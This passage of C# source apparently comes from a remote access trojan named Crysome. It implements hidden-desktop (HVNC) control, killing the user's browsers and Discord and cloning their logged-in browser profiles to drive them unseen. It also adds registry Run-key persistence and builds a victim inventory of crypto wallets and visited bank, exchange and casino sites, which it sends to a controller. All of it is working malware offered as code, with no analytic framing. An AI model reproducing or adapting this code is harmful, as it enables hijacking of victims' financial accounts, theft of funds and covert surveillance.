return CreateProc("\"" + bravePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\BraveAutomationData");
}
private static void KillBrowsersByDefaultProfile(string exeName, string automationDataDir)
{
try
{
foreach (ManagementObject item in new ManagementObjectSearcher("SELECT ProcessId, CommandLine FROM Win32_Process WHERE Name = '" + exeName + "'").Get())
{
if (!(item["CommandLine"]?.ToString() ?? "").Contains(automationDataDir))
{
try
{
Process.GetProcessById(Convert.ToInt32(item["ProcessId"])).Kill();
}
catch
{
}
}
}
}
catch
{
}
}
public bool StartDiscord()
{
string text = null;
try
{
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Discord");
text = registryKey?.GetValue("DisplayIcon") as string;
if (text != null)
{
text = text.Trim('"');
}
}
catch
{
}
Process[] processesByName;
if (string.IsNullOrEmpty(text) || !File.Exists(text))
{
text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Discord", "Update.exe");
if (!File.Exists(text))
{
return false;
}
processesByName = Process.GetProcessesByName("Discord");
foreach (Process process in processesByName)
{
try
{
process.Kill();
}
catch
{
}
}
return CreateProc("\"" + text + "\" --processStart Discord.exe");
}
processesByName = Process.GetProcessesByName("Discord");
foreach (Process process2 in processesByName)
{
try
{
process2.Kill();
}
catch
{
}
}
return CreateProc("\"" + text + "\"");
}
private static string UserProfilePath(string rel)
{
return Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), rel);
}
private static async Task<bool> CopyDirAsync(string sourceDir, string destDir)
{
if (string.IsNullOrEmpty(sourceDir) || !Directory.Exists(sourceDir))
{
return false;
}
try
{
if (Directory.Exists(destDir))
{
await Task.Run(delegate
{
try
{
Directory.Delete(destDir, recursive: true);
}
catch
{
}
});
}
await Task.Run(() => Directory.CreateDirectory(destDir));
foreach (string item in Directory.EnumerateDirectories(sourceDir, "*", SearchOption.AllDirectories))
{
string rel = item.Substring(sourceDir.Length + 1);
await Task.Run(() => Directory.CreateDirectory(Path.Combine(destDir, rel)));
}
SemaphoreSlim sem = new SemaphoreSlim(10);
await Task.WhenAll(Directory.EnumerateFiles(sourceDir, "*", SearchOption.AllDirectories).Select((Func<string, Task>)async delegate(string file)
{
await sem.WaitAsync();
try
{
string path = file.Substring(sourceDir.Length + 1);
string dest = Path.Combine(destDir, path);
await Task.Run(delegate
{
try
{
File.Copy(file, dest, overwrite: true);
}
catch
{
}
});
}
finally
{
sem.Release();
}
}));
return true;
}
catch
{
return false;
}
}
private static string RecursiveFindDir(string dir, string markerFile)
{
if (string.IsNullOrEmpty(dir) || !Directory.Exists(dir))
{
return null;
}
if (File.Exists(Path.Combine(dir, markerFile)))
{
return dir;
}
try
{
string[] directories = Directory.GetDirectories(dir);
for (int i = 0; i < directories.Length; i++)
{
string text = RecursiveFindDir(directories[i], markerFile);
if (text != null)
{
return text;
}
}
}
catch
{
}
return null;
}
private static async Task<int> FindProcessByCommandLine(string processName, string searchStr)
{
return await Task.Run(delegate
{
try
{
foreach (ManagementObject item in new ManagementObjectSearcher("SELECT * FROM Win32_Process WHERE Name = '" + processName + "'").Get())
{
string text = item["CommandLine"]?.ToString();
if (text != null && text.Contains(searchStr))
{
return Convert.ToInt32(item["ProcessId"]);
}
}
}
catch
{
}
return -1;
});
}
private async Task<bool> CloneChromeAsync()
{
return await CopyDirAsync(UserProfilePath("AppData\\Local\\Google\\Chrome\\User Data"), "C:\\ChromeAutomationData");
}
private async Task<bool> CloneEdgeAsync()
{
return await CopyDirAsync(UserProfilePath("AppData\\Local\\Microsoft\\Edge\\User Data"), "C:\\EdgeAutomationData");
}
private async Task<bool> CloneFirefoxAsync()
{
string text = RecursiveFindDir(UserProfilePath("AppData\\Roaming\\Mozilla\\Firefox\\Profiles"), "addons.json");
bool flag = text != null;
if (flag)
{
flag = await CopyDirAsync(text, "C:\\FirefoxAutomationData");
}
return flag;
}
private async Task<bool> CloneOperaAsync()
{
return await CopyDirAsync(UserProfilePath("AppData\\Roaming\\Opera Software\\Opera Stable"), "C:\\OperaAutomationData");
}
private async Task<bool> CloneOperaGXAsync()
{
return await CopyDirAsync(UserProfilePath("AppData\\Roaming\\Opera Software\\Opera GX Stable"), "C:\\OperaGXAutomationData");
}
private async Task<bool> CloneBraveAsync()
{
return await CopyDirAsync(UserProfilePath("AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data"), "C:\\BraveAutomationData");
}
private async Task HandleCloneChromeAsync()
{
KillBrowsersByDefaultProfile("chrome.exe", "ChromeAutomationData");
if (!(await CloneChromeAsync()))
{
int num = await FindProcessByCommandLine("chrome.exe", "ChromeAutomationData");
if (num >= 0)
{
try
{
Process.GetProcessById(num).Kill();
}
catch
{
}
await CloneChromeAsync();
}
}
Thread.Sleep(1000);
StartChromeCloned();
}
private async Task HandleCloneEdgeAsync()
{
KillBrowsersByDefaultProfile("msedge.exe", "EdgeAutomationData");
if (!(await CloneEdgeAsync()))
{
int num = await FindProcessByCommandLine("msedge.exe", "EdgeAutomationData");
if (num >= 0)
{
try
{
Process.GetProcessById(num).Kill();
}
catch
{
}
await CloneEdgeAsync();
}
}
Thread.Sleep(1000);
StartEdge();
}
private async Task HandleCloneFirefoxAsync()
{
KillBrowsersByDefaultProfile("firefox.exe", "FirefoxAutomationData");
if (!(await CloneFirefoxAsync()))
{
int num = await FindProcessByCommandLine("firefox.exe", "FirefoxAutomationData");
if (num >= 0)
{
try
{
Process.GetProcessById(num).Kill();
}
catch
{
}
await CloneFirefoxAsync();
}
}
Thread.Sleep(1000);
StartFirefox();
}
private async Task HandleCloneOperaAsync()
{
KillBrowsersByDefaultProfile("opera.exe", "OperaAutomationData");
if (!(await CloneOperaAsync()))
{
int num = await FindProcessByCommandLine("opera.exe", "OperaAutomationData");
if (num >= 0)
{
try
{
Process.GetProcessById(num).Kill();
}
catch
{
}
await CloneOperaAsync();
}
}
Thread.Sleep(1000);
StartOpera();
}
private async Task HandleCloneOperaGXAsync()
{
KillBrowsersByDefaultProfile("opera.exe", "OperaGXAutomationData");
if (!(await CloneOperaGXAsync()))
{
int num = await FindProcessByCommandLine("opera.exe", "OperaGXAutomationData");
if (num >= 0)
{
try
{
Process.GetProcessById(num).Kill();
}
catch
{
}
await CloneOperaGXAsync();
}
}
Thread.Sleep(1000);
StartOperaGX();
}
private async Task HandleCloneBraveAsync()
{
KillBrowsersByDefaultProfile("brave.exe", "BraveAutomationData");
if (!(await CloneBraveAsync()))
{
int num = await FindProcessByCommandLine("brave.exe", "BraveAutomationData");
if (num >= 0)
{
try
{
Process.GetProcessById(num).Kill();
}
catch
{
}
await CloneBraveAsync();
}
}
Thread.Sleep(1000);
StartBrave();
}
public void HandleCloneRequest(byte action)
{
Task.Run(async delegate
{
_ = 5;
try
{
switch (action)
{
case 11:
await HandleCloneChromeAsync();
break;
case 12:
await HandleCloneEdgeAsync();
break;
case 13:
await HandleCloneFirefoxAsync();
break;
case 14:
await HandleCloneOperaAsync();
break;
case 15:
await HandleCloneOperaGXAsync();
break;
case 16:
await HandleCloneBraveAsync();
break;
case 19:
StartDiscord();
break;
case 17:
case 18:
break;
}
}
catch (Exception ex)
{
Program.Log("HVNC clone: " + ex.Message);
}
});
}
public bool CreateProc(string commandLine)
{
if (string.IsNullOrEmpty(commandLine))
{
return false;
}
STARTUPINFO lpStartupInfo = new STARTUPINFO
{
cb = Marshal.SizeOf(typeof(STARTUPINFO)),
lpDesktop = _desktopName
};
PROCESS_INFORMATION lpProcessInformation;
return CreateProcess(null, commandLine, IntPtr.Zero, IntPtr.Zero, bInheritHandles: false, 1040, IntPtr.Zero, null, ref lpStartupInfo, out lpProcessInformation);
}
}
Crysome.Client/Crysome.Client.Hvnc/HvncProcessHelper.cs
+203
View File
@@ -0,0 +1,203 @@
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace Crysome.Client.Hvnc;
internal static class HvncProcessHelper
{
private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
private struct SID_AND_ATTRIBUTES
{
public IntPtr Sid;
public uint Attributes;
}
private struct TOKEN_MANDATORY_LABEL
{
public SID_AND_ATTRIBUTES Label;
}
private enum TOKEN_INFORMATION_CLASS
{
TokenIntegrityLevel = 25
}
public enum SaferLevel : uint
{
NormalUser = 0x20000u
}
public enum SaferScope : uint
{
User = 2u
}
[Flags]
public enum SaferOpenFlags : uint
{
Open = 1u
}
private const uint SE_GROUP_INTEGRITY = 32u;
public static bool RunAsRestrictedUser(string fileName, string desktopName)
{
if (string.IsNullOrWhiteSpace(fileName))
{
return false;
}
if (!GetRestrictedSessionUserToken(out var token))
{
return false;
}
try
{
STARTUPINFO lpStartupInfo = new STARTUPINFO
{
cb = Marshal.SizeOf(typeof(STARTUPINFO)),
lpDesktop = desktopName
};
PROCESS_INFORMATION lpProcessInformation = default(PROCESS_INFORMATION);
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.Append(fileName);
return CreateProcessAsUser(token, null, stringBuilder, IntPtr.Zero, IntPtr.Zero, bInheritHandles: true, 0u, IntPtr.Zero, Path.GetDirectoryName(fileName), ref lpStartupInfo, out lpProcessInformation);
}
finally
{
CloseHandle(token);
}
}
private static bool GetRestrictedSessionUserToken(out IntPtr token)
{
token = IntPtr.Zero;
if (!SaferCreateLevel(SaferScope.User, SaferLevel.NormalUser, SaferOpenFlags.Open, out var pLevelHandle, IntPtr.Zero))
{
return false;
}
IntPtr OutAccessToken = IntPtr.Zero;
TOKEN_MANDATORY_LABEL structure = new TOKEN_MANDATORY_LABEL
{
Label =
{
Sid = IntPtr.Zero
}
};
IntPtr intPtr = IntPtr.Zero;
try
{
if (!SaferComputeTokenFromLevel(pLevelHandle, IntPtr.Zero, out OutAccessToken, 0, IntPtr.Zero))
{
return false;
}
structure.Label.Attributes = 32u;
structure.Label.Sid = IntPtr.Zero;
if (!ConvertStringSidToSid("S-1-16-8192", out structure.Label.Sid))
{
return false;
}
intPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(TOKEN_MANDATORY_LABEL)));
Marshal.StructureToPtr(structure, intPtr, fDeleteOld: false);
if (!SetTokenInformation(OutAccessToken, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, intPtr, (uint)Marshal.SizeOf(typeof(TOKEN_MANDATORY_LABEL))))
{
return false;
}
token = OutAccessToken;
OutAccessToken = IntPtr.Zero;
}
finally
{
SaferCloseLevel(pLevelHandle);
if (structure.Label.Sid != IntPtr.Zero)
{
LocalFree(structure.Label.Sid);
}
if (intPtr != IntPtr.Zero)
{
Marshal.FreeHGlobal(intPtr);
}
if (OutAccessToken != IntPtr.Zero)
{
CloseHandle(OutAccessToken);
}
}
return true;
}
[DllImport("advapi32", CallingConvention = CallingConvention.StdCall, SetLastError = true)]
private static extern bool SaferCreateLevel(SaferScope scope, SaferLevel level, SaferOpenFlags openFlags, out IntPtr pLevelHandle, IntPtr lpReserved);
[DllImport("advapi32", CallingConvention = CallingConvention.StdCall, SetLastError = true)]
private static extern bool SaferComputeTokenFromLevel(IntPtr LevelHandle, IntPtr InAccessToken, out IntPtr OutAccessToken, int dwFlags, IntPtr lpReserved);
[DllImport("advapi32", SetLastError = true)]
private static extern bool SaferCloseLevel(IntPtr hLevelHandle);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern bool ConvertStringSidToSid(string StringSid, out IntPtr ptrSid);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr LocalFree(IntPtr hMem);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool SetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, uint TokenInformationLength);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, StringBuilder lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
}
Crysome.Client/Crysome.Client.Hvnc/Utils.cs
+313
View File
@@ -0,0 +1,313 @@
using System;
using System.Runtime.InteropServices;
using System.Text;
using Microsoft.Win32;
namespace Crysome.Client.Hvnc;
public sealed class Utils
{
public delegate bool EnumDesktopWindowsDelegate(IntPtr hWnd, IntPtr lParam);
public enum DESKTOP_ACCESS : uint
{
DESKTOP_NONE = 0u,
DESKTOP_READOBJECTS = 1u,
DESKTOP_CREATEWINDOW = 2u,
DESKTOP_CREATEMENU = 4u,
DESKTOP_HOOKCONTROL = 8u,
DESKTOP_JOURNALRECORD = 16u,
DESKTOP_JOURNALPLAYBACK = 32u,
DESKTOP_ENUMERATE = 64u,
DESKTOP_WRITEOBJECTS = 128u,
DESKTOP_SWITCHDESKTOP = 256u,
GENERIC_ALL = 511u
}
public enum GetWindowType : uint
{
GW_HWNDFIRST,
GW_HWNDLAST,
GW_HWNDNEXT,
GW_HWNDPREV,
GW_OWNER,
GW_CHILD,
GW_ENABLEDPOPUP
}
public enum SETWINDOWPOSITION : uint
{
SWP_NOSIZE = 1u,
SWP_NOMOVE = 2u,
SWP_NOZORDER = 4u,
SWP_NOACTIVATE = 0x10u,
SWP_SHOWWINDOW = 0x40u,
SWP_HIDEWINDOW = 0x80u,
SWP_ASYNCWINDOWPOS = 0x4000u
}
public struct POINT
{
public int x;
public int y;
}
public struct RECT
{
public int left;
public int top;
public int right;
public int bottom;
}
public struct WINDOWPLACEMENT
{
public int length;
public int flags;
public int showCmd;
public POINT ptMinPosition;
public POINT ptMaxPosition;
public RECT rcNormalPosition;
}
public const uint DESKTOP_ENUMERATE = 1u;
public const int GWL_STYLE = -16;
public const int WS_DISABLED = 134217728;
public const int WM_CHAR = 258;
public const int WM_KEYDOWN = 256;
public const int WM_KEYUP = 257;
public const uint WM_PASTE = 770u;
public const int VK_CONTROL = 17;
public const int V_KEY_V = 86;
public const int WM_LBUTTONUP = 514;
public const int WM_LBUTTONDOWN = 513;
public const int WM_MOUSEMOVE = 512;
public const int WM_CLOSE = 16;
public const int WM_SYSCOMMAND = 274;
public const int SC_MINIMIZE = 61472;
public const int SC_RESTORE = 61728;
public const int SC_MAXIMIZE = 61488;
public const int HTCAPTION = 2;
public const int HTTOP = 12;
public const int HTBOTTOM = 15;
public const int HTLEFT = 10;
public const int HTRIGHT = 11;
public const int HTTOPLEFT = 13;
public const int HTTOPRIGHT = 14;
public const int HTBOTTOMLEFT = 16;
public const int HTBOTTOMRIGHT = 17;
public const int HTCLOSE = 20;
public const int HTMINBUTTON = 8;
public const int HTMAXBUTTON = 9;
public const int HTTRANSPARENT = -1;
public const int VK_RETURN = 13;
public const int MN_GETHMENU = 481;
public const int BM_CLICK = 245;
public const int MAX_PATH = 260;
public const int WM_NCHITTEST = 132;
public const int SW_SHOWMAXIMIZED = 3;
[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr GetDC(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
public static extern bool SetThreadDesktop(IntPtr hDesktop);
[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
[DllImport("user32.dll")]
public static extern IntPtr GetDesktopWindow();
[DllImport("user32.dll", SetLastError = true)]
public static extern bool GetWindowRect(IntPtr hwnd, out RECT lpRect);
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool IsWindowVisible(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags);
[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr GetWindow(IntPtr hWnd, GetWindowType uCmd);
[DllImport("user32.dll")]
public static extern IntPtr GetTopWindow(IntPtr hWnd);
[DllImport("user32.dll")]
public static extern bool ReleaseDC(IntPtr hWnd, IntPtr hDC);
[DllImport("gdi32.dll")]
public static extern IntPtr CreateCompatibleDC(IntPtr hdc);
[DllImport("gdi32.dll")]
public static extern IntPtr CreateCompatibleBitmap(IntPtr hdc, int nWidth, int nHeight);
[DllImport("gdi32.dll")]
public static extern IntPtr SelectObject(IntPtr hdc, IntPtr hgdiobj);
[DllImport("gdi32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool DeleteObject(IntPtr hObject);
[DllImport("gdi32.dll")]
public static extern bool DeleteDC(IntPtr hdc);
[DllImport("user32.dll", SetLastError = true)]
public static extern bool CloseDesktop(IntPtr hDesktop);
[DllImport("gdi32.dll")]
public static extern int GetDeviceCaps(IntPtr hdc, int nIndex);
[DllImport("user32.dll")]
public static extern IntPtr WindowFromPoint(POINT point);
[DllImport("user32.dll")]
public static extern IntPtr SendMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll")]
public static extern IntPtr PostMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll")]
public static extern bool ScreenToClient(IntPtr hWnd, ref POINT lpPoint);
[DllImport("user32.dll")]
public static extern IntPtr ChildWindowFromPoint(IntPtr hWnd, POINT point);
[DllImport("user32.dll")]
public static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
[DllImport("user32.dll")]
public static extern bool PtInRect(ref RECT lprc, POINT pt);
[DllImport("user32.dll")]
public static extern bool SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong);
[DllImport("user32.dll")]
public static extern int GetWindowLong(IntPtr hWnd, int nIndex);
[DllImport("user32.dll")]
public static extern bool GetWindowPlacement(IntPtr hWnd, ref WINDOWPLACEMENT lpwndpl);
[DllImport("user32.dll")]
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll")]
public static extern int MenuItemFromPoint(IntPtr hWnd, IntPtr hMenu, POINT pt);
[DllImport("user32.dll")]
public static extern int GetMenuItemID(IntPtr hMenu, int nPos);
[DllImport("user32.dll")]
public static extern IntPtr GetSubMenu(IntPtr hMenu, int nPos);
[DllImport("user32.dll")]
public static extern bool MoveWindow(IntPtr hWnd, int x, int y, int width, int height, bool repaint);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern int RealGetWindowClass(IntPtr hwnd, [Out] StringBuilder pszType, int cchType);
[DllImport("user32.dll", SetLastError = true)]
public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int x, int y, int cx, int cy, uint uFlags);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern ushort VkKeyScan(char ch);
[DllImport("user32.dll", SetLastError = true)]
public static extern bool EnumDesktopWindows(IntPtr hDesktop, EnumDesktopWindowsDelegate lpfn, IntPtr lParam);
[DllImport("shell32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool IsUserAnAdmin();
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern int GetWindowTextLength(IntPtr hWnd);
[DllImport("user32.dll")]
public static extern IntPtr GetWindowThreadProcessId(IntPtr hWnd, out uint ProcessId);
[DllImport("user32.dll")]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount);
public static bool IsAdmin()
{
bool result = false;
try
{
result = IsUserAnAdmin();
}
catch
{
}
return result;
}
public static bool AddToStartupNonAdmin(string executablePath, string name = "yooooooooo")
{
string name2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
try
{
using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64).OpenSubKey(name2, writable: true))
{
registryKey.SetValue(name, "\"" + executablePath + "\"");
}
return true;
}
catch
{
return false;
}
}
}
Crysome.Client/Crysome.Client.Inventory/InventoryReportBuilder.cs
+820
View File
@@ -0,0 +1,820 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Text.Json;
using System.Threading;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Microsoft.Win32;
namespace Crysome.Client.Inventory;
internal static class InventoryReportBuilder
{
private static int _infoPollCounter;
private const string DefaultRulesJson = "{\"enabledAppIds\":[\"chrome\",\"firefox\",\"edge\",\"discord\",\"steam\",\"telegram\",\"vscode\",\"notepad_plus_plus\",\"vlc\",\"python\",\"brave\",\"opera\",\"zoom\",\"slack\",\"whatsapp\",\"metamask\",\"exodus\",\"atomic\",\"electrum\"],\"customPaths\":[],\"enabledBankIds\":[\"chase\",\"bankofamerica\",\"wellsfargo\",\"paypal\",\"coinbase_bank\",\"binance\",\"kraken\",\"robinhood\",\"venmo\",\"cashapp\",\"usbank\",\"capitalone\",\"citibank\"],\"enabledCasinoIds\":[\"bet365\",\"draftkings\",\"fanduel\",\"caesars\",\"betmgm\",\"pokerstars\",\"888casino\",\"betonline\",\"bovada\",\"ignitioncasino\",\"betway\",\"1xbet\",\"22bet\",\"bet9ja\",\"betano\",\"betsson\",\"casumo\",\"leovegas\",\"william_hill\",\"unibet\",\"betfair\",\"partycasino\",\"spin_casino\",\"jackpot_city\",\"ruby_fortune\",\"lucky_nugget\"]}";
private static Dictionary<string, string> _registryDisplayNames;
private static readonly Dictionary<string, string[]> AppKeywords = new Dictionary<string, string[]>(StringComparer.OrdinalIgnoreCase)
{
{
"chrome",
new string[1] { "google chrome" }
},
{
"firefox",
new string[1] { "mozilla firefox" }
},
{
"edge",
new string[1] { "microsoft edge" }
},
{
"discord",
new string[1] { "discord" }
},
{
"steam",
new string[1] { "steam" }
},
{
"telegram",
new string[1] { "telegram" }
},
{
"vscode",
new string[2] { "visual studio code", "vscode" }
},
{
"notepad_plus_plus",
new string[1] { "notepad++" }
},
{
"vlc",
new string[1] { "vlc media" }
},
{
"python",
new string[1] { "python" }
},
{
"brave",
new string[1] { "brave" }
},
{
"opera",
new string[2] { "opera", "opera gx" }
},
{
"zoom",
new string[1] { "zoom" }
},
{
"slack",
new string[1] { "slack" }
},
{
"whatsapp",
new string[1] { "whatsapp" }
},
{
"exodus",
new string[1] { "exodus" }
},
{
"atomic",
new string[1] { "atomic wallet" }
},
{
"electrum",
new string[1] { "electrum" }
}
};
private static readonly Dictionary<string, string[]> AppFilePaths = new Dictionary<string, string[]>(StringComparer.OrdinalIgnoreCase)
{
{
"chrome",
new string[3] { "%ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe", "%ProgramFiles(x86)%\\Google\\Chrome\\Application\\chrome.exe", "%LocalAppData%\\Google\\Chrome\\Application\\chrome.exe" }
},
{
"firefox",
new string[2] { "%ProgramFiles%\\Mozilla Firefox\\firefox.exe", "%ProgramFiles(x86)%\\Mozilla Firefox\\firefox.exe" }
},
{
"edge",
new string[1] { "%ProgramFiles(x86)%\\Microsoft\\Edge\\Application\\msedge.exe" }
},
{
"discord",
new string[1] { "%LocalAppData%\\Discord\\Update.exe" }
},
{
"telegram",
new string[1] { "%AppData%\\Telegram Desktop\\Telegram.exe" }
},
{
"vscode",
new string[1] { "%LocalAppData%\\Programs\\Microsoft VS Code\\Code.exe" }
},
{
"brave",
new string[2] { "%ProgramFiles%\\BraveSoftware\\Brave-Browser\\Application\\brave.exe", "%LocalAppData%\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" }
},
{
"opera",
new string[3] { "%AppData%\\Opera Software\\Opera Stable\\opera.exe", "%LocalAppData%\\Programs\\Opera\\opera.exe", "%LocalAppData%\\Programs\\Opera GX\\opera.exe" }
},
{
"zoom",
new string[3] { "%AppData%\\Zoom\\bin\\Zoom.exe", "%ProgramFiles%\\Zoom\\bin\\Zoom.exe", "%ProgramFiles(x86)%\\Zoom\\bin\\Zoom.exe" }
},
{
"slack",
new string[1] { "%LocalAppData%\\slack\\slack.exe" }
},
{
"whatsapp",
new string[1] { "%LocalAppData%\\WhatsApp\\WhatsApp.exe" }
},
{
"exodus",
new string[2] { "%LocalAppData%\\Exodus\\Exodus.exe", "%AppData%\\Exodus\\Exodus.exe" }
},
{
"atomic",
new string[1] { "%AppData%\\atomic\\Atomic.exe" }
},
{
"electrum",
new string[1] { "%AppData%\\Electrum\\electrum.exe" }
}
};
private static readonly string[] MetaMaskExtensionPaths = new string[2]
{
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\\Chrome\\User Data\\Default\\Extensions\\nkbihfbeogaeaoehlefnkodbefgpgknn"),
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\\Edge\\User Data\\Default\\Extensions\\ejbalbakoplchlghecdalmeeeajnimhm")
};
private static readonly Dictionary<string, string[]> BankUrlPatterns = new Dictionary<string, string[]>(StringComparer.OrdinalIgnoreCase)
{
{
"chase",
new string[1] { "chase.com" }
},
{
"bankofamerica",
new string[1] { "bankofamerica.com" }
},
{
"wellsfargo",
new string[1] { "wellsfargo.com" }
},
{
"paypal",
new string[1] { "paypal.com" }
},
{
"coinbase_bank",
new string[1] { "coinbase.com" }
},
{
"binance",
new string[2] { "binance.com", "binance.us" }
},
{
"kraken",
new string[1] { "kraken.com" }
},
{
"robinhood",
new string[1] { "robinhood.com" }
},
{
"venmo",
new string[1] { "venmo.com" }
},
{
"cashapp",
new string[2] { "cash.app", "cashapp.com" }
},
{
"usbank",
new string[1] { "usbank.com" }
},
{
"capitalone",
new string[1] { "capitalone.com" }
},
{
"citibank",
new string[2] { "citi.com", "citibank.com" }
}
};
private static readonly Dictionary<string, string[]> CasinoUrlPatterns = new Dictionary<string, string[]>(StringComparer.OrdinalIgnoreCase)
{
{
"bet365",
new string[1] { "bet365.com" }
},
{
"draftkings",
new string[1] { "draftkings.com" }
},
{
"fanduel",
new string[1] { "fanduel.com" }
},
{
"caesars",
new string[2] { "caesars.com", "caesarsonline.com" }
},
{
"betmgm",
new string[1] { "betmgm.com" }
},
{
"pokerstars",
new string[2] { "pokerstars.com", "pokerstars.net" }
},
{
"888casino",
new string[3] { "888casino.com", "888sport.com", "888poker.com" }
},
{
"betonline",
new string[1] { "betonline.ag" }
},
{
"bovada",
new string[1] { "bovada.lv" }
},
{
"ignitioncasino",
new string[1] { "ignitioncasino.eu" }
},
{
"betway",
new string[1] { "betway.com" }
},
{
"1xbet",
new string[2] { "1xbet.com", "1x-bet.com" }
},
{
"22bet",
new string[1] { "22bet.com" }
},
{
"bet9ja",
new string[1] { "bet9ja.com" }
},
{
"betano",
new string[1] { "betano.com" }
},
{
"betsson",
new string[1] { "betsson.com" }
},
{
"casumo",
new string[1] { "casumo.com" }
},
{
"leovegas",
new string[1] { "leovegas.com" }
},
{
"william_hill",
new string[1] { "williamhill.com" }
},
{
"unibet",
new string[1] { "unibet.com" }
},
{
"betfair",
new string[1] { "betfair.com" }
},
{
"partycasino",
new string[2] { "partycasino.com", "partypoker.com" }
},
{
"spin_casino",
new string[1] { "spincasino.com" }
},
{
"jackpot_city",
new string[1] { "jackpotcitycasino.com" }
},
{
"ruby_fortune",
new string[1] { "rubyfortune.com" }
},
{
"lucky_nugget",
new string[1] { "luckynuggetcasino.com" }
}
};
private const int MaxHistoryBytes = 4194304;
public static void OnClientInfoPoll(CrysomeClient client)
{
//IL_0037: Unknown result type (might be due to invalid IL or missing references)
//IL_003c: Unknown result type (might be due to invalid IL or missing references)
//IL_0043: Unknown result type (might be due to invalid IL or missing references)
//IL_004a: Unknown result type (might be due to invalid IL or missing references)
//IL_0056: Expected O, but got Unknown
if (client == null || !client.IsConnected || Interlocked.Increment(ref _infoPollCounter) % 15 != 0)
{
return;
}
try
{
string rulesJson = LoadRulesJson();
string appsJson = BuildAppsJson(rulesJson);
string bankJson = BuildBankJson(rulesJson);
string casinoJson = BuildCasinoJson(rulesJson);
client.SendPacket((IPacket)new ClientInventoryReportPacket
{
AppsJson = appsJson,
BankJson = bankJson,
CasinoJson = casinoJson
});
}
catch
{
}
}
public static string LoadRulesJson()
{
string baseDirectory = AppDomain.CurrentDomain.BaseDirectory;
string[] array = new string[2] { "inventory_rules.json", "Inventory\\default_inventory_rules.json" };
foreach (string path in array)
{
try
{
string path2 = Path.Combine(baseDirectory, path);
if (File.Exists(path2))
{
return File.ReadAllText(path2, Encoding.UTF8);
}
}
catch
{
}
}
